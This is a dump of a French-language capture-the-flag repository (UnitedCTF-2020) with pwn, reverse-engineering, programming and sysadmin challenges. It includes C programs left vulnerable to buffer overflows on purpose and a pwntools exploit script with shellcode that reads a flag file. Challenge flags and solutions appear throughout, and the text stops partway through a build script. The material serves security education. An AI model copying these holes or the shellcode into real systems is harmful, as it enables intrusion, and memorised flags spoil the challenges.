-------------------------------------------------------------------------------- 1 | flag = "FLAG-20369b331c4c11d34e2c2bd411f85b7c" 2 | -------------------------------------------------------------------------------- /challenges/programming/maze/requirements.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/programming/maze/requirements.txt -------------------------------------------------------------------------------- /challenges/programming/maze/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | Voir le fichier `writeup.py`. 4 | -------------------------------------------------------------------------------- /challenges/programming/solve-math/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./server.py /app/server.py 7 | 8 | ENTRYPOINT [ "python3", "server.py" ] 9 | -------------------------------------------------------------------------------- /challenges/programming/solve-math/README.md: -------------------------------------------------------------------------------- 1 | # Solve Math 2 | 3 | > Programming 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Vous devez calculer le résultat de dix équations mathématiques. Trouver dix bons résultats de suite et obtenez le flag. 8 | 9 | Vous n'avez que deux secondes pour calculer le résultat et l'envoyer au serveur. On vous suggère de faire de la reconnaissance au début afin de voir quelles sortes d'équations le serveur vous envoie, avec quels opérateurs et combien de termes. 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - None 15 | 16 | Start: 17 | 18 | ``` 19 | docker-compose up solve-math 20 | ``` 21 | -------------------------------------------------------------------------------- /challenges/programming/solve-math/writeup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import io 3 | import base64 4 | import requests 5 | import time 6 | 7 | from pwn import * 8 | 9 | r = remote("127.0.0.1", 3000) 10 | 11 | while True: 12 | math_problem = r.recv(1024).decode() 13 | 14 | if len(math_problem) == 0: 15 | print("[-] empty problem") 16 | break 17 | 18 | if math_problem.startswith("flag"): 19 | print("[+] flag: " + math_problem) 20 | break 21 | 22 | print("[+] new math problem: " + math_problem.strip()) 23 | solution = str(eval(math_problem)) 24 | print("[+] solution: " + str(solution)) 25 | 26 | r.send(solution) 27 | 28 | -------------------------------------------------------------------------------- /challenges/pwning/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/.gitkeep -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | 3 | RUN apt-get update && apt-get install -y xinetd && apt-get clean && rm -rf /var/apt/lists/* 4 | RUN useradd -u 8888 -m goutte 5 | 6 | CMD ["xinetd", "-dontfork"] 7 | -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= -O0 -fno-stack-protector 3 | 4 | all: la_goutte_public la_goutte la_goutte_public.c 5 | 6 | la_goutte_public: la_goutte.c 7 | $(CC) $(CFLAGS) $< -o $@ 8 | 9 | la_goutte: la_goutte.c 10 | $(CC) $(CFLAGS) $< -o $@ -D SERVER 11 | 12 | la_goutte_public.c: la_goutte.c 13 | tail +3 $< | $(CC) $(CFLAGS) -E - -o $@ 14 | 15 | clean: 16 | rm -f la_goutte la_goutte_public la_goutte_public.c 17 | -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/la_goutte: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/la_goutte/la_goutte -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/la_goutte.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #ifdef SERVER 4 | #define flag "FLAG-Buff3r_0verflow3d_nh6qAgs0Yw4" 5 | #else 6 | #define flag "FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXXXXX" 7 | #endif 8 | 9 | 10 | void degoutte() { 11 | volatile int pourquoi = 5; 12 | volatile long quoi = -1; 13 | volatile double comment = 252.04; 14 | volatile float ou = 33.5; 15 | volatile int quand = 4; 16 | char qui[16]; 17 | 18 | puts("Quel est ton nom jeune apprenti?"); 19 | gets(qui); 20 | if (pourquoi == 0xcafecafe) { 21 | printf("%s\nTu n'a pas besoin d'être mon apprenti, le savoir est déjà en toi.\n", flag); 22 | } else { 23 | printf("Bienvenue %s, le chemin sera long.\n", qui); 24 | } 25 | } 26 | 27 | int main(int argc, char* argv[]) { 28 | setvbuf(stdin, NULL, _IONBF, 0); 29 | setvbuf(stdout, NULL, _IONBF, 0); 30 | setvbuf(stderr, NULL, _IONBF, 0); 31 | degoutte(); 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/la_goutte_public: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/la_goutte/la_goutte_public -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/la_goutte_public.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void degoutte() { 4 | volatile int pourquoi = 5; 5 | volatile long quoi = -1; 6 | volatile double comment = 252.04; 7 | volatile float ou = 33.5; 8 | volatile int quand = 4; 9 | char qui[16]; 10 | 11 | puts("Quel est ton nom jeune apprenti?"); 12 | gets(qui); 13 | if (pourquoi == 0xcafecafe) { 14 | printf("%s\nTu n'a pas besoin d'être mon apprenti, le savoir est déjà en toi.\n", "FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXXXXX"); 15 | } else { 16 | printf("Bienvenue %s, le chemin sera long.\n", qui); 17 | } 18 | } 19 | 20 | int main(int argc, char* argv[]) { 21 | setvbuf(stdin, NULL, _IONBF, 0); 22 | setvbuf(stdout, NULL, _IONBF, 0); 23 | setvbuf(stderr, NULL, _IONBF, 0); 24 | degoutte(); 25 | return 0; 26 | } 27 | -------------------------------------------------------------------------------- /challenges/pwning/la_goutte/xinetd: -------------------------------------------------------------------------------- 1 | service goutte 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/goutte/la_goutte 7 | socket_type = stream 8 | protocol = tcp 9 | user = goutte 10 | port = 8888 11 | # bind = 0.0.0.0 12 | # safety options 13 | flags = REUSE 14 | per_source = 5 # the maximum instances of this service per source IP address 15 | rlimit_cpu = 5 # the maximum number of CPU seconds that the service may use 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | nice = 18 18 | } 19 | -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | 3 | RUN apt-get update && apt-get install -y xinetd && apt-get clean && rm -rf /var/apt/lists/* 4 | RUN useradd -u 8888 -m molecule 5 | 6 | CMD ["xinetd", "-dontfork"] 7 | -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= -O0 -fno-stack-protector 3 | 4 | all: la_molecule 5 | 6 | la_molecule: la_molecule.c 7 | $(CC) $(CFLAGS) $< -o $@ 8 | 9 | clean: 10 | rm -f la_molecule 11 | -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/README.md: -------------------------------------------------------------------------------- 1 | # La molecule de tous les maux 2 | 3 | > Pwn 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | Il y a une vulnérabilité qui affecte toujours trop de programmes encore aujourd'hui. Cette vulnérabilité peut mener à des plantages, mais aussi à l'exécution de code à distance (RCE, Remote Code Execution en anglais). Cela permet à des hackers d'exécuter leur propre code à l'intérieur des logiciels affectés. Pour les logiciels connectés à un réseau, cela représente un risque énorme comme son exploitation peut être automatisée et afin de compromettre des systèmes en masse. 8 | 9 | Le programme auquel vous devez vous connecter est vulnérable et vous pouvez le planter. Ce défi vise à vous introduire aux défis suivants où vous irez jusqu'à lire des fichiers sur l'ordinateur compromis. Vous serez même capable d'exécuter des commandes via un shell (Sh ou Bash). Des explications techniques viendront avec les défis suivants. 10 | 11 | Utilisez `netcat` pour vous connecter à `challenges.unitedctf.ca:16999`. Pour les défis suivants, on vous suggère d'utiliser `pwntools` si vous connaissez Python. 12 | 13 | Vous obtiendrez un flag débutant par `FLAG-` lorsque vous le planterez avec succès. 14 | 15 | ## Setup 16 | 17 | Requirements: 18 | - `docker-compose` 19 | 20 | Start: 21 | 22 | ``` 23 | docker-compose up la_molecule_pwn 24 | ``` 25 | -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/la_molecule: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/la_molecule/la_molecule -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/writeup.md: -------------------------------------------------------------------------------- 1 | # Write up 2 | 3 | Pour résoudre ce défi, il suffit d'entrer trop de caractères pour le code demandé. Exemple: 4 | 5 | `MqEVeLzU8ddQ1P2jVfgPnGSElzK7DqKnOu7XaTLYm3jGnX6qzM93zV2` 6 | 7 | La chaîne ci-dessus nous donne la faute décrite ici: https://en.wikipedia.org/wiki/Bus_error 8 | 9 | La plupart du temps vous obtiendrez cela à la place: https://en.wikipedia.org/wiki/Segmentation_fault 10 | 11 | Lorsque vous plantez le programme avec succès, le flag "FLAG-na5ty-buff3r-0verfl0w" ainsi qu'un message d'erreur seront affichés. 12 | 13 | -------------------------------------------------------------------------------- /challenges/pwning/la_molecule/xinetd: -------------------------------------------------------------------------------- 1 | service molecule 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/molecule/la_molecule 7 | socket_type = stream 8 | protocol = tcp 9 | user = molecule 10 | port = 8888 11 | # bind = 0.0.0.0 12 | # safety options 13 | flags = REUSE 14 | per_source = 5 # the maximum instances of this service per source IP address 15 | rlimit_cpu = 5 # the maximum number of CPU seconds that the service may use 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | nice = 18 18 | } 19 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | 3 | RUN apt-get update && apt-get install -y xinetd && apt-get clean && rm -rf /var/apt/lists/* 4 | RUN useradd -u 8888 -m lac 5 | 6 | CMD ["xinetd", "-dontfork"] 7 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= -O0 -fno-stack-protector -z execstack 3 | 4 | all: le_lac_public le_lac 5 | 6 | le_lac_public: le_lac.c 7 | $(CC) $(CFLAGS) $< -o $@ 8 | 9 | le_lac: le_lac.c 10 | $(CC) $(CFLAGS) $< -o $@ -D SERVER 11 | 12 | clean: 13 | rm -f le_lac le_lac_public 14 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/flag: -------------------------------------------------------------------------------- 1 | FLAG-1magin3_4_5hell_in_4n_3mpty_b0a7_VwVlUe6nUOA 2 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/le_lac: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/le_lac/le_lac -------------------------------------------------------------------------------- /challenges/pwning/le_lac/le_lac.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vide() { 4 | char bateau[256]; 5 | 6 | printf("Imaginez un bateau vide qui flotte sur un lac. Tentez de trouver le coquillage dans le bateau vide qui se trouve à %p\n", bateau); 7 | gets(bateau); 8 | } 9 | 10 | int main(int argc, char* argv[]) { 11 | setvbuf(stdin, NULL, _IONBF, 0); 12 | setvbuf(stdout, NULL, _IONBF, 0); 13 | setvbuf(stderr, NULL, _IONBF, 0); 14 | vide(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/le_lac_public: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/le_lac/le_lac_public -------------------------------------------------------------------------------- /challenges/pwning/le_lac/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | LEN_BUFFER = 264 #Calculated using patterns in gef. could be automated 4 | 5 | from pwn import * 6 | 7 | context(arch = "amd64", os = "linux") #Challenge is on linux x64 8 | conn = remote("challenges.unitedctf.ca", 17002) #connect to service 9 | 10 | # parse buffer address 11 | l = conn.recvline() 12 | addr = int((l.split())[-1], 16) 13 | ret_addr = p64(addr, endian="little", sign="unsigned") 14 | 15 | # Adapted from http://shell-storm.org/shellcode/files/shellcode-878.php 16 | shellcode = b"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x2f\x2f\x2f\x2f\x2f\x2f\x66\x6c\x61\x67\x41" 17 | 18 | padding = b"A" * (LEN_BUFFER - len(shellcode)) 19 | 20 | conn.send(shellcode + padding + ret_addr + b"\n") 21 | flag = conn.recvline().decode("utf-8") 22 | print(flag) 23 | -------------------------------------------------------------------------------- /challenges/pwning/le_lac/xinetd: -------------------------------------------------------------------------------- 1 | service lac 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/lac/le_lac 7 | socket_type = stream 8 | protocol = tcp 9 | user = lac 10 | port = 8888 11 | # bind = 0.0.0.0 12 | # safety options 13 | flags = REUSE 14 | per_source = 5 # the maximum instances of this service per source IP address 15 | rlimit_cpu = 5 # the maximum number of CPU seconds that the service may use 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | nice = 18 18 | } 19 | -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:stable-slim 2 | 3 | RUN apt-get update && apt-get install -y xinetd && apt-get clean && rm -rf /var/apt/lists/* 4 | RUN useradd -u 8888 -m ruisseau 5 | 6 | CMD ["xinetd", "-dontfork"] 7 | -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS= -O0 -fno-stack-protector -no-pie 3 | 4 | all: le_ruisseau_public le_ruisseau 5 | 6 | le_ruisseau_public: le_ruisseau.c 7 | $(CC) $(CFLAGS) $< -o $@ 8 | 9 | le_ruisseau: le_ruisseau.c 10 | $(CC) $(CFLAGS) $< -o $@ -D SERVER 11 | 12 | clean: 13 | rm -f le_ruisseau le_ruisseau_public 14 | -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/le_ruisseau: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/le_ruisseau/le_ruisseau -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/le_ruisseau.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #ifdef SERVER 4 | #define flag "FLAG-RET2TEXT_4cc0mplished_j5fwyolcmPg" 5 | #else 6 | #define flag "FLAG-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" 7 | #endif 8 | 9 | void detour() { 10 | printf("%s\nLe flux d'exécution d'un programme est comme un ruisseau, on peut le détourner en le faisant déborder\n", flag); 11 | } 12 | 13 | void flux() { 14 | volatile char w[8] = "woushhh"; 15 | volatile short main_gauche = 0xc7; 16 | volatile short main_droite = 0xa4; 17 | char son[16]; 18 | 19 | puts("Quel est le son d'une seule main qui applaudit?"); 20 | gets(son); 21 | printf("Une main qui fait \"%s\"? Mais quelle idée absurde!\n", son); 22 | } 23 | 24 | int main(int argc, char* argv[]) { 25 | setvbuf(stdin, NULL, _IONBF, 0); 26 | setvbuf(stdout, NULL, _IONBF, 0); 27 | setvbuf(stderr, NULL, _IONBF, 0); 28 | flux(); 29 | return 0; 30 | } 31 | -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/le_ruisseau_public: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/pwning/le_ruisseau/le_ruisseau_public -------------------------------------------------------------------------------- /challenges/pwning/le_ruisseau/xinetd: -------------------------------------------------------------------------------- 1 | service ruisseau 2 | { 3 | disable = no 4 | type = UNLISTED 5 | wait = no 6 | server = /home/ruisseau/le_ruisseau 7 | socket_type = stream 8 | protocol = tcp 9 | user = ruisseau 10 | port = 8888 11 | # bind = 0.0.0.0 12 | # safety options 13 | flags = REUSE 14 | per_source = 5 # the maximum instances of this service per source IP address 15 | rlimit_cpu = 5 # the maximum number of CPU seconds that the service may use 16 | #rlimit_as = 1024M # the Address Space resource limit for the service 17 | nice = 18 18 | } 19 | -------------------------------------------------------------------------------- /challenges/reverse/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/.gitkeep -------------------------------------------------------------------------------- /challenges/reverse/README.md: -------------------------------------------------------------------------------- 1 | # Track reverse 2 | 3 | > reverse 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | ## Setup 8 | 9 | Requirements: 10 | - Une distribution basée sur Linux 11 | - [Ghidra](https://ghidra-sre.org/) 12 | 13 | Start: 14 | 15 | Téléchargez les binaires un à la fois. Il est suggéré de les faire dans l'ordre car la difficulté est croissante. 16 | 17 | -------------------------------------------------------------------------------- /challenges/reverse/crackme/crackme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/crackme/crackme -------------------------------------------------------------------------------- /challenges/reverse/crackme/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -O0 -o crackme 3 | -------------------------------------------------------------------------------- /challenges/reverse/goland/boss: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/goland/boss -------------------------------------------------------------------------------- /challenges/reverse/goland/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | go build main.go 3 | mv main boss 4 | -------------------------------------------------------------------------------- /challenges/reverse/one-time-pad/flagbuilder.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | flag = "flag-y0ur3aM4st3rp455w0rdd3cyph3r3r" 4 | 5 | array1 = [] 6 | array2 = [] 7 | 8 | for c in flag: 9 | index = ord(c) 10 | first_val = random.getrandbits(8) 11 | while first_val == 0: 12 | first_val = random.getrandbits(8) 13 | 14 | second_val = first_val ^ ord(c) 15 | 16 | array1.append(first_val) 17 | array2.append(second_val) 18 | 19 | print(', '.join([hex(i) for i in array1])) 20 | print(', '.join([hex(i) for i in array2])) 21 | -------------------------------------------------------------------------------- /challenges/reverse/one-time-pad/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | //flag-y0ur3aM4st3rp455w0rdd3cyph3r3r 7 | 8 | unsigned char arr1[] = {0x2e, 0xee, 0xf6, 0x87, 0xc6, 0xbe, 0x23, 0x26, 0x38, 0xab, 0x11, 0x43, 0x69, 0xe3, 0x1d, 0x10, 0xf6, 9 | 0xf6, 0x70, 0x43, 0x8f, 0x92, 0xfa, 0x81, 0x4b, 0xcc, 0xef, 0x3f, 0x32, 0xf, 0x3a, 0x45, 0x9, 0xa6, 0xb3}; 10 | 11 | unsigned char arr2[] = {0x48, 0x82, 0x97, 0xe0, 0xeb, 0xc7, 0x13, 0x53, 0x4a, 0x98, 0x70, 0xe, 0x5d, 0x90, 0x69, 0x23, 0x84, 12 | 0x86, 0x44, 0x76, 0xba, 0xe5, 0xca, 0xf3, 0x2f, 0xa8, 0xdc, 0x5c, 0x4b, 0x7f, 0x52, 0x76, 0x7b, 0x95, 0xc1}; 13 | 14 | puts("Enter the super secret password:"); 15 | 16 | unsigned char password[40] = {0}; 17 | 18 | if (scanf("%39s", password)) 19 | { 20 | int i = 34; 21 | 22 | while (i >= 0) 23 | { 24 | if ((password[i] ^ arr1[i]) != arr2[i]) 25 | break; 26 | 27 | i--; 28 | } 29 | 30 | if (i < 0 && strlen(password) == 35) 31 | puts("That's the good password!"); 32 | else 33 | puts("Wrong password :("); 34 | } 35 | } 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /challenges/reverse/one-time-pad/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o onetimepad 3 | -------------------------------------------------------------------------------- /challenges/reverse/one-time-pad/onetimepad: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/one-time-pad/onetimepad -------------------------------------------------------------------------------- /challenges/reverse/passwordcheck/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o passwordcheck 3 | -------------------------------------------------------------------------------- /challenges/reverse/passwordcheck/passwordcheck: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/passwordcheck/passwordcheck -------------------------------------------------------------------------------- /challenges/reverse/stringsmeout/README.md: -------------------------------------------------------------------------------- 1 | # stringsmeout 2 | 3 | > reverse 4 | 5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer) 6 | 7 | C'est toujours une bonne idée d'utiliser l'utilitaire `strings` pour essayer de trouver des indices avant d'effectuer la rétro-ingénierie d'un binaire. 8 | 9 | Lorsqu'on parle de "strings", on parle de chaînes de caractères. 10 | 11 | Format du flag: Il débute par `flag-`. Le même format est utilisé pour les défis suivants. 12 | 13 | ## Setup 14 | 15 | Requirements: 16 | - Une distribution basée sur Linux 17 | - [Ghidra](https://ghidra-sre.org/) 18 | 19 | # Writeup 20 | 21 | On exécute l'utilitaire `strings` sur le binaire. On peut voir le flag dans notre terminal. 22 | 23 | `flag-4lw4y5Run5tr1ng5f1rs7` 24 | 25 | -------------------------------------------------------------------------------- /challenges/reverse/stringsmeout/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | puts("henlo :-)\0flag-4lw4y5Run5tr1ng5f1rs7"); 6 | } 7 | -------------------------------------------------------------------------------- /challenges/reverse/stringsmeout/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o stringsmeout 3 | -------------------------------------------------------------------------------- /challenges/reverse/stringsmeout/stringsmeout: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/stringsmeout/stringsmeout -------------------------------------------------------------------------------- /challenges/reverse/stringstacking/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int solveme() 5 | { 6 | // flag-oupssuperandomizerooofitssuperlong 7 | 8 | const char* fake = "k23k3209kc0je ojfwojmc20 32j00jflag-jdowjcoqjo;qjc;;wafoewjvoaweiefwuifhwiafhdskflage"; 9 | const char* s = "kdomi023jooferan3029jf03flag2j03jvawp-oup29jvw3;ssupaitsszeroy-warv3wva aw3=vw3rawu8uperwvlongnsj v3vj29jfmm"; 10 | printf("%.4s", s + 24); 11 | printf("%.4s", s + 37); 12 | printf("%.4s", s + 48); 13 | printf("%.4s", s + 12); 14 | printf("%.4s", s + 1); 15 | printf("%.4s", s + 57); 16 | printf("%.3s", s + 9); 17 | printf("%.4s", s + 53); 18 | printf("%.4s", s + 84); 19 | printf("%.4s", s + 90); 20 | puts(""); 21 | } 22 | 23 | int main() 24 | { 25 | puts("check inside the binary :-)"); 26 | //solveme(); 27 | } 28 | -------------------------------------------------------------------------------- /challenges/reverse/stringstacking/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o stringstacking 3 | -------------------------------------------------------------------------------- /challenges/reverse/stringstacking/stringstacking: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/stringstacking/stringstacking -------------------------------------------------------------------------------- /challenges/reverse/tooslow/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ main.cpp -O0 -o tooslow 3 | -------------------------------------------------------------------------------- /challenges/reverse/tooslow/nosleep.c: -------------------------------------------------------------------------------- 1 | // Biblothèque pour la solution au défi 2 | 3 | #include 4 | #include 5 | 6 | unsigned int sleep(unsigned int seconds) 7 | { 8 | return 0; 9 | } 10 | 11 | int usleep(useconds_t usec) 12 | { 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /challenges/reverse/tooslow/tooslow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/tooslow/tooslow -------------------------------------------------------------------------------- /challenges/reverse/usegdb/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | g++ main.cpp -O0 -o usegdb 3 | -------------------------------------------------------------------------------- /challenges/reverse/usegdb/usegdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/usegdb/usegdb -------------------------------------------------------------------------------- /challenges/reverse/useghidra/flagbuilder.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | flag = "flag-n0tw3llH1dd3nIsn7i7" 4 | 5 | array1 = [] 6 | array2 = [] 7 | 8 | for c in flag: 9 | index = ord(c) 10 | first_val = random.randrange(1, index) 11 | second_val = index - first_val 12 | 13 | array1.append(first_val) 14 | array2.append(second_val) 15 | 16 | print(', '.join([hex(i) for i in array1])) 17 | print(', '.join([hex(i) for i in array2])) 18 | -------------------------------------------------------------------------------- /challenges/reverse/useghidra/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int fun_03919(float number) 4 | { 5 | unsigned char arr1[] = {0x58, 0x11, 0x2b, 0x50, 0xb, 0x25, 0x12, 0x16, 0x70, 0xf, 0x10, 0x34, 0x32, 0x1b, 0x3e, 0x4, 0xa, 0x5b, 0x42, 0x66, 0x32, 0xa, 0x4d, 0x34}; 6 | 7 | unsigned char arr2[] = {0xe, 0x5b, 0x36, 0x17, 0x22, 0x49, 0x1e, 0x5e, 0x7, 0x24, 0x5c, 0x38, 0x16, 0x16, 0x26, 0x60, 0x29, 0x13, 0x7, 0xd, 0x3c, 0x2d, 0x1c, 0x3}; 8 | 9 | // flag-n0tw3llH1dd3nIsn7i7 10 | for (int i = 0; i < sizeof(arr1)/sizeof(arr1[0]); i++) 11 | { 12 | putchar(arr1[i] + arr2[i]); 13 | } 14 | 15 | } 16 | 17 | 18 | int main() 19 | { 20 | puts("Is something missing?...\0a function call maybe?"); 21 | } 22 | 23 | int printp(const char * p) 24 | { 25 | return 0; 26 | } 27 | 28 | int printz(const char * p) 29 | { 30 | return 0; 31 | } 32 | 33 | int putz(const char * p) 34 | { 35 | return 0; 36 | } 37 | 38 | -------------------------------------------------------------------------------- /challenges/reverse/useghidra/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc main.c -o useghidra 3 | -------------------------------------------------------------------------------- /challenges/reverse/useghidra/useghidra: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/reverse/useghidra/useghidra -------------------------------------------------------------------------------- /challenges/sysadmin/base/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN apt update 4 | RUN apt install -y \ 5 | netcat-traditional net-tools iputils-ping curl wget \ 6 | strace ltrace \ 7 | build-essential \ 8 | sudo bash-completion htop \ 9 | nano vim man git -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/.dockerignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /Dockerfile -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/.env: -------------------------------------------------------------------------------- 1 | USER= 2 | FLAG= -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:dubnium AS build 2 | 3 | WORKDIR /app 4 | RUN chown node:node /app 5 | USER node 6 | 7 | COPY --chown=node:node . /app 8 | 9 | RUN node build.js ./root 10 | 11 | FROM unitedctf-sysadmin-base 12 | 13 | COPY --from=build /app/build/root / 14 | RUN sh < /perms.sh && rm /perms.sh -------------------------------------------------------------------------------- /challenges/sysadmin/flag-skel/build.js: -------------------------------------------------------------------------------- 1 | const fs = require("fs"); 2 | const path = require("path"); 3 | 4 | fs.readFileSync(".env") 5 | .toString() 6 | .split(/(\r\n|\n)/g) 7 | .map((line) => line.split("=", 2)) 8 | .forEach(([k, v]) => { 9 | if (!process.env[k]) process.env[k] = v; 10 | }); 11 | 12 | const parseEnv = (str) => 13 | str.replace(/(\$\[([A-z0-9_-]*?)\])/g, (match, ...p) => { 14 | if (!process.env[p[1]]) 15 | 